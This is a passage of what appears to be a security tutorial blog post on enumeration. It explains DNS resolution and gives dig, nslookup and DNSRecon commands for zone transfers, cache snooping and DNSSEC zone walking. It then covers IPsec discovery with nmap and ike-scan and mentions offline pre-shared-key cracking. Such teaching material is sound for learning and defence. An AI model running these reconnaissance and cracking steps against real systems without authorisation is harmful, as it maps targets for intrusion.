https://substackcdn.com/image/fetch/$s_!DUF4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc53eae7-6a08-4208-9177-4a5df2299797_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!DUF4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc53eae7-6a08-4208-9177-4a5df2299797_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!DUF4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc53eae7-6a08-4208-9177-4a5df2299797_1500x500.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This lets your browser find and connect to the right website without you needing to remember the numbers.</p><h3><strong>How DNS Works:</strong></h3><p>When you type a domain name into your web browser, your computer needs an IP address to locate and connect to the website, since computers communicate using IP&#8217;s not domain names. The process is fast, but it involves a number of components behind the scenes. Here&#8217;s how it goes:</p><h4><strong>Step 1: Check Local Sources</strong> </h4><p>Before asking external servers, your computer first checks local sources: the browser cache, operating system DNS cache and the hosts file. If the IP is found here, it is used immediately. If not the query moves to a recursive resolver.</p><h4><strong>Step 2: Ask the Recursive Resolver</strong></h4><p>The recursive resolver, usually provided by your ISP or a public DNS service like Google DNS (8.8.8.8) or CloudFlare (1.1.1.1), handles the task of finding the IP address. If it has the IP cached from a recent lookup, it responds immediately. Otherwise, it begins querying the DNS hierarchy.</p><h4><strong>Step 3: Query a Root DNS Server</strong></h4><p>If the resolver doesn&#8217;t have the answer, it contacts one of the 13 root server clusters (A-M), operated by organizations such as NASA, The US Department of Defense, The US Army, University of Maryland, and The University of Southern California Information Sciences Institute, among others.<br><br>Root servers do not store IP addresses for individual domain names. Instead, they maintain the root zone file, managed by IANA, and published by VeriSign,  which lists all top-level domains (TLD&#8217;s) and the authoritative nameservers for each. </p><p>The root server responds with the IP addresses of the appropriate TLD servers for a given domain.</p><h4><strong>Step 4: Query the TLD Nameserver</strong></h4><p>The recursive resolver then contacts the TLD nameservers for the requested domain, such as the <code>.com</code> servers operated by VeriSign. These servers do not know the domain&#8217;s IP but know which authoritative nameservers are responsible for the domain. They return the names of these authoritative servers.</p><h4><strong>Step 5: Query the Authoritative Nameserver</strong></h4><p>The resolver queries the authoritative nameservers, which contain the actual DNS records for the domain. These records include A records (IPv4), AAAA records (IPv6), MX records (mail servers), and CNAME records (aliases). The authoritative server responds with the domain&#8217;s IP address.</p><h4><strong>Step 6: Return and Cache the Result</strong></h4><p>The recursive resolver caches the IP according to its TTL (Time To Live) for faster future queries and returns it to your computer.</p><h4><strong>Step 7: Connect to the Website</strong></h4><p>With the IP address, your browser can connect to the web server, send an HTTP or HTTPS request, and receive the website content, which it then displays.</p><div><hr></div><h3><strong>With DNS, you can find:</strong></h3><ul><li><p><strong>Hostnames and IP addresses (A/AAAA)</strong> &#8211; to map devices and servers.</p></li><li><p><strong>Mail servers and MX records</strong> &#8211; to identify email infrastructure and test email security.</p></li><li><p><strong>Name servers (NS) and SOA information</strong> &#8211; to understand server hierarchy and administrative details.</p></li><li><p><strong>Subdomains and service records (SRV)</strong> &#8211; to discover additional services like LDAP, SIP, or internal applications.</p></li><li><p><strong>TXT records</strong> &#8211; such as SPF, DKIM, or internal notes that may reveal configuration details.</p></li><li><p><strong>Reverse DNS (PTR) mappings</strong> &#8211; to correlate IP addresses to hostnames and understand IP allocations.</p></li><li><p><strong>Zone transfers (AXFR)</strong> &#8211; if misconfigured, they can reveal the entire DNS zone content.</p></li><li><p><strong>DNSSEC status and misconfigurations</strong> &#8211; to check for security weaknesses in DNS validation.</p></li></ul><p>This information is useful for understanding a domain&#8217;s publicly exposed infrastructure, assessing security posture, and identifying the attack surface.</p><div><hr></div><h3>DNS Enumeration Commands:</h3><p>DNS enumeration uses standard DNS query mechanisms to gather information about a target's network infrastructure. </p><p>DNS servers are designed to respond to various query types for legitimate name resolution, but these same mechanisms can reveal valuable intel for attackers.</p><h4><strong>Linux-Based DNS Enumeration (using dig)</strong></h4><p><strong>Find the IPv4 address of a hostname</strong> Use <code>dig</code> or <code>host</code> to resolve a domain name into its A record.</p><pre><code><code>dig A www.example.com
host www.example.com</code></code></pre><p><strong>Get a clean, script-friendly answer</strong> Use <code>+short</code> to return only the resolved IP.</p><pre><code><code>dig +short www.example.com</code></code></pre><p><strong>List the mail servers for a domain</strong> Query MX records to see where mail is delivered.</p><pre><code><code>dig MX example.com</code></code></pre><p><strong>Find the authoritative name servers</strong> Query NS records to learn which servers control the zone.</p><pre><code><code>dig NS example.com</code></code></pre><p><strong>Do a reverse lookup (IP &#8594; hostname)</strong> Resolve a given IP address back to a hostname.</p><pre><code><code>dig -x 192.0.2.10</code></code></pre><p><strong>Attempt a zone transfer (AXFR)</strong> Zone transfer is a legitimate DNS mechanism used to synchronize DNS records between a primary DNS server and its secondary (backup) servers within the same organization. </p><p>The primary server maintains a list of authorized secondary servers that can request complete copies of the DNS zone data for redundancy. </p><p>An "unauthorized transfer" occurs when the DNS server is misconfigured and doesn't properly restrict zone transfer requests to only authorized secondary servers. Instead, it accepts requests from any source - including attackers. </p><p>When successful, this dumps the entire DNS database containing all hostnames, subdomains, IP addresses, and mail servers for that domain.</p><pre><code><code>dig AXFR @ns1.example.com example.com</code></code></pre><h4>DNS Cache Snooping</h4><p>DNS cache snooping is a DNS enumeration technique whereby an attacker queries the DNS server for a specific cached DNS record to determine what domains users have recently visited.</p><p><strong>Non-recursive Method:</strong> Attackers send a non-recursive query by setting the Recursion Desired (RD) bit in the query header to zero. This method checks if a record exists in the cache without the server performing additional lookups.</p><p><strong>Recursive Method:</strong> Attackers send a recursive query to determine the time the DNS record resides in the cache. A high TTL value indicates that the record was not in the cache initially, while a low TTL suggests recent caching.</p><p><strong>Commands for DNS Cache Snooping:</strong></p><pre><code><code># Non-recursive query (Linux)
dig +norecurse www.example.com @target-dns-server

# Check TTL values to determine cache status
dig www.example.com @target-dns-server</code></code></pre><h4>DNSSEC Zone Walking</h4><p>DNSSEC zone walking is a DNS enumeration technique where an attacker attempts to obtain internal records of the DNS server if the DNS zone is not properly configured. This technique exploits DNSSEC's NSEC records to enumerate all domain names in a zone.</p><p>Attackers use tools such as LDNS and DNSRecon to exploit this vulnerability and obtain the network information of a target domain for further Internet-based attacks.</p><h4><strong>LDNS Zone Walking:</strong></h4><pre><code><code># Using ldns-walk tool
ldns-walk @nameserver domain.com

# Example command
ldns-walk @8.8.8.8 example.com</code></code></pre><h4><strong>DNSRecon Zone Walking:</strong></h4><pre><code><code># DNSSEC zone walking with DNSRecon
dnsrecon -d domain.com -t zonewalk

# Example with specific nameserver
dnsrecon -d example.com -n ns1.example.com -t zonewalk</code></code></pre><div><hr></div><h4><strong>Windows-Based DNS Enumeration (using nslookup)</strong></h4><p>nslookup Interactive Mode nslookup can operate in interactive mode, allowing you to execute multiple DNS queries in a single session without restarting the command each time.</p><p><strong>Launch nslookup interactive mode:</strong></p><pre><code><code>nslookup</code></code></pre><h4><strong>SOA (Start of Authority) Query</strong> </h4><p>The SOA record contains administrative information about the DNS zone, including the primary name server and responsible administrator email address.</p><p><strong>Set query type to SOA and execute the query:</strong></p><pre><code><code>set querytype=soa
[target-domain]</code></code></pre><p><strong>Zone Transfer with ls command</strong> The ls -d command requests a zone transfer from the specified name server, attempting to retrieve all DNS records for the domain.</p><pre><code><code>ls -d [nameserver]</code></code></pre><div><hr></div><h3>DNS Enumeration Tools:</h3><ol><li><p>nslookup (Windows)</p></li><li><p>dig (Linux)</p></li><li><p>DNSRecon</p></li><li><p>LDNS</p></li><li><p>Amass</p></li><li><p>NMAP</p></li><li><p>DomainTools</p></li></ol><div><hr></div><h2>IPsec Enumeration</h2><p>IPsec (Internet Protocol Security) is the most widely deployed technology for enterprise VPN solutions, supporting both gateway-to-gateway (LAN-to-LAN) connections and host-to-gateway (remote access) scenarios. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!YZxO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50ab103c-8703-4e65-b2a1-9f027a333515_1500x500.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!YZxO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50ab103c-8703-4e65-b2a1-9f027a333515_1500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!YZxO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50ab103c-8703-4e65-b2a1-9f027a333515_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!YZxO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50ab103c-8703-4e65-b2a1-9f027a333515_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!YZxO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50ab103c-8703-4e65-b2a1-9f027a333515_1500x500.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!YZxO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50ab103c-8703-4e65-b2a1-9f027a333515_1500x500.jpeg" width="1456" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/50ab103c-8703-4e65-b2a1-9f027a333515_1500x500.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:64123,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50ab103c-8703-4e65-b2a1-9f027a333515_1500x500.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!YZxO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50ab103c-8703-4e65-b2a1-9f027a333515_1500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!YZxO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50ab103c-8703-4e65-b2a1-9f027a333515_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!YZxO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50ab103c-8703-4e65-b2a1-9f027a333515_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!YZxO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50ab103c-8703-4e65-b2a1-9f027a333515_1500x500.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>It operates at the network layer (Layer 3) to secure IP communications through encryption, authentication, and integrity verification.</p><h3>How IPsec Works:</h3><p>Most IPsec implementations use ISAKMP (Internet Security Association Key Management Protocol), which is part of the IKE (Internet Key Exchange) framework. ISAKMP handles the negotiation and establishment of Security Associations (SAs) - the security parameters that define how two systems will communicate securely.</p><p><strong>IPsec uses two main security protocols:</strong></p><ol><li><p><strong>Authentication Header (AH)</strong> - Provides data integrity and authentication without encryption. It ensures that packets haven't been tampered with during transmission.</p></li><li><p><strong>Encapsulating Security Payload (ESP)</strong> - Provides confidentiality through encryption, along with authentication and integrity checking.</p></li></ol><p><strong>The protocol can operate in two modes:</strong></p><ol><li><p><strong>Transport Mode</strong> - Secures only the data payload while keeping original IP headers. Used for end-to-end communication.</p></li><li><p><strong>Tunnel Mode</strong> - Encrypts the entire IP packet and wraps it in a new header. Commonly used in VPN implementations.</p></li></ol><p>The protocol uses Security Associations (SAs) to establish secure communication channels. These SAs define the security parameters including encryption algorithms, authentication methods, and shared keys.</p><div><hr></div><h3>With IPSec, you can find:</h3><p>These SAs contain critical information including:</p><ul><li><p>Encryption algorithms (3DES, AES, etc.)</p></li><li><p>Hash algorithms (SHA1, MD5, etc.)</p></li><li><p>Authentication methods</p></li><li><p>Key distribution algorithms</p></li><li><p>SA lifetime duration</p></li></ul><div><hr></div><h3>IPSec Enumeration Commands:</h3><p>Attackers typically start with basic port scanning to identify ISAKMP services running on UDP port 500. This command will signify the potential presence of a VPN gateway.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!t-bs!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3bfdd7bd-e10b-4434-a5f2-8f4b39091e55_1768x696.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!t-bs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3bfdd7bd-e10b-4434-a5f2-8f4b39091e55_1768x696.png 424w, https://substackcdn.com/image/fetch/$s_!t-bs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3bfdd7bd-e10b-4434-a5f2-8f4b39091e55_1768x696.png 848w, https://substackcdn.com/image/fetch/$s_!t-bs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3bfdd7bd-e10b-4434-a5f2-8f4b39091e55_1768x696.png 1272w, https://substackcdn.com/image/fetch/$s_!t-bs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3bfdd7bd-e10b-4434-a5f2-8f4b39091e55_1768x696.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!t-bs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3bfdd7bd-e10b-4434-a5f2-8f4b39091e55_1768x696.png" width="1456" height="573" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3bfdd7bd-e10b-4434-a5f2-8f4b39091e55_1768x696.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:573,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:526494,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3bfdd7bd-e10b-4434-a5f2-8f4b39091e55_1768x696.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!t-bs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3bfdd7bd-e10b-4434-a5f2-8f4b39091e55_1768x696.png 424w, https://substackcdn.com/image/fetch/$s_!t-bs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3bfdd7bd-e10b-4434-a5f2-8f4b39091e55_1768x696.png 848w, https://substackcdn.com/image/fetch/$s_!t-bs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3bfdd7bd-e10b-4434-a5f2-8f4b39091e55_1768x696.png 1272w, https://substackcdn.com/image/fetch/$s_!t-bs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3bfdd7bd-e10b-4434-a5f2-8f4b39091e55_1768x696.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><pre><code><code>nmap -sU -p 500 &lt;IP Address&gt;</code></code></pre><p>This simple scan reveals the presence of VPN gateways by checking if the standard ISAKMP port is open and responsive.</p><h4>IPSec Enumeration with ike-scan</h4><p>The ike-scan tool is specifically designed for IPsec enumeration and can extract detailed information about IKE implementations through several techniques:</p><h4><strong>IKE Host Discovery</strong></h4><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ulua!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5b6decd-deda-4e37-ad1c-69329a5efc1f_2534x640.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ulua!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5b6decd-deda-4e37-ad1c-69329a5efc1f_2534x640.png 424w, https://substackcdn.com/image/fetch/$s_!ulua!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5b6decd-deda-4e37-ad1c-69329a5efc1f_2534x640.png 848w, https://substackcdn.com/image/fetch/$s_!ulua!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5b6decd-deda-4e37-ad1c-69329a5efc1f_2534x640.png 1272w, https://substackcdn.com/image/fetch/$s_!ulua!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5b6decd-deda-4e37-ad1c-69329a5efc1f_2534x640.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ulua!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5b6decd-deda-4e37-ad1c-69329a5efc1f_2534x640.png" width="1456" height="368" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e5b6decd-deda-4e37-ad1c-69329a5efc1f_2534x640.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:368,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:765194,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5b6decd-deda-4e37-ad1c-69329a5efc1f_2534x640.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ulua!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5b6decd-deda-4e37-ad1c-69329a5efc1f_2534x640.png 424w, https://substackcdn.com/image/fetch/$s_!ulua!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5b6decd-deda-4e37-ad1c-69329a5efc1f_2534x640.png 848w, https://substackcdn.com/image/fetch/$s_!ulua!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5b6decd-deda-4e37-ad1c-69329a5efc1f_2534x640.png 1272w, https://substackcdn.com/image/fetch/$s_!ulua!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5b6decd-deda-4e37-ad1c-69329a5efc1f_2534x640.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><pre><code><code>ike-scan -M &lt;Target Gateway IP Address Range&gt;</code></code></pre><p>This command identifies all hosts running IKE services within a target range by sending IKE requests and analyzing responses.</p><h4><strong>VPN Fingerprinting</strong></h4><p>ike-scan can identify specific IKE implementations and software versions through two methods:</p><ul><li><p><strong>UDP Backoff Fingerprinting</strong> - Analyzes the timing patterns of IKE response packets and compares them against known retransmission patterns</p></li><li><p><strong>Vendor ID Fingerprinting</strong> - Compares Vendor ID payloads from VPN servers against known vendor identification patterns</p></li></ul><h4><strong>Transform Enumeration</strong></h4><p>The tool discovers supported transform attributes for IKE Phase 1 negotiations, including:</p><ul><li><p>Encryption algorithms (DES, 3DES, AES-128, AES-256)</p></li><li><p>Hash algorithms (MD5, SHA1, SHA-256)</p></li><li><p>Authentication methods (Pre-shared key, RSA signatures, RSA encryption)</p></li><li><p>Diffie-Hellman groups</p></li><li><p>SA lifetime values</p></li></ul><h4><strong>User Enumeration</strong></h4><p>For certain VPN systems, ike-scan can identify valid usernames that exist in the VPN authentication database.</p><p><strong>Pre-shared Key Attacks</strong></p><p>When IPsec uses Aggressive Mode with pre-shared key authentication, ike-scan can:</p><ul><li><p>Capture the authentication hash and parameters</p></li><li><p>Use the companion tool <strong>psk-crack</strong> for offline dictionary or brute-force password cracking</p></li></ul><div><hr></div><h3>IPsec Enumeration Tools:</h3><ul><li><p>ike-scan: Discovers and enumerates IKE hosts</p></li><li><p>Nmap with IPsec scripts</p></li><li><p>ikeforce: Brute force IKE authentication</p></li><li><p>VPN enumeration tools</p></li></ul><div><hr></div><h2>VoIP Enumeration (Port 2000, 20001, 5060, 5061)</h2><p>VoIP converts analog voice signals into digital data packets that can be transmitted over IP networks. The process involves several components working together:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!uSFP!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95e8f519-174e-4d11-b630-082bd8306ec1_1500x500.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!uSFP!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95e8f519-174e-4d11-b630-082bd8306ec1_1500x500.jpeg 424w, 